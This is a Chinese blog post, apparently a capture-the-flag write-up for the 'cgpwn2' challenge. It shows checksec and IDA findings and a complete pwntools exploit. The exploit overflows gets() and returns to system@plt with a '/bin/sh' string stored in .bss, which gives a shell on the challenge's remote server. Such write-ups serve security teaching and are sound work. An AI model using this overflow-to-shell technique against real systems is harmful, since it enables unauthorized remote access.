cgpwn2

作者: 常向阳_ | 来源:发表于2019-08-05 18:40 被阅读0次
image.png

0x00 filechecksec

image.png

0x01 ida分析

image.png
  • 调用了hello函数
  • 存在危险函数gets
  • 发现name存在于bss段,可能能向里面写点什么东西,接着往下看
    image.png
  • 同时发现存在system函数
    image.png
  • 思路就有了,利用read向bss段写入'/bin/sh',然后利用gets溢出调用system即可getshell

0x02 完整exp

  • name写为'/bin/sh',返回地址改为system_plt的地址,参数为name的地址即可
from pwn import *

local=0
pc='./cgpwn2'
aslr=True
context.log_level=True
context.terminal = ["deepin-terminal","-x","sh","-c"]

libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

if local==1:
    #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
    p = process(pc,aslr=aslr)
    #gdb.attach(p,'c')
else:
    remote_addr=['111.198.29.45', 45365]
    p=remote(remote_addr[0],remote_addr[1])

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

def raddr(a=6):
    if(a==6):
        return u64(rv(a).ljust(8,'\x00'))
    else:
        return u64(rl().strip('\n').ljust(8,'\x00'))

if __name__ == '__main__':
    bin_sh = '/bin/sh'
    sla('name\n', bin_sh)

    system_plt_addr = 0x08048420
    name_addr = 0x0804a080
    payload = ''
    payload += 'A'*0x26
    payload += 'cxy1'
    payload += p32(system_plt_addr)
    payload += 'cxy2'
    payload += p32(name_addr)
    sla('here:\n', payload)
    p.interactive()

0x03 结果

image.png

相关文章

  • cgpwn2

    0x00 file和checksec 0x01 ida分析 调用了hello函数 存在危险函数gets 发现nam...

  • XCTF cgpwn2

    题目 https://adworld.xctf.org.cn/task/answer?type=pwn&numbe...

  • cgpwn2攻防世界pwn

    checksec后试运行,有两个输入 32位ida 点进去hello() 可以利用fgets和gets栈溢出 发现...

  • 攻防世界 cgpwn2 wp(CGCTF)

    0x01寻找漏洞 checksec ida分析 进入hello函数 发现gets(&s)处存在栈溢出 0x02分析...

网友评论

    本文标题:cgpwn2

    本文链接:https://www.haomeiwen.com/subject/ehhvdctx.html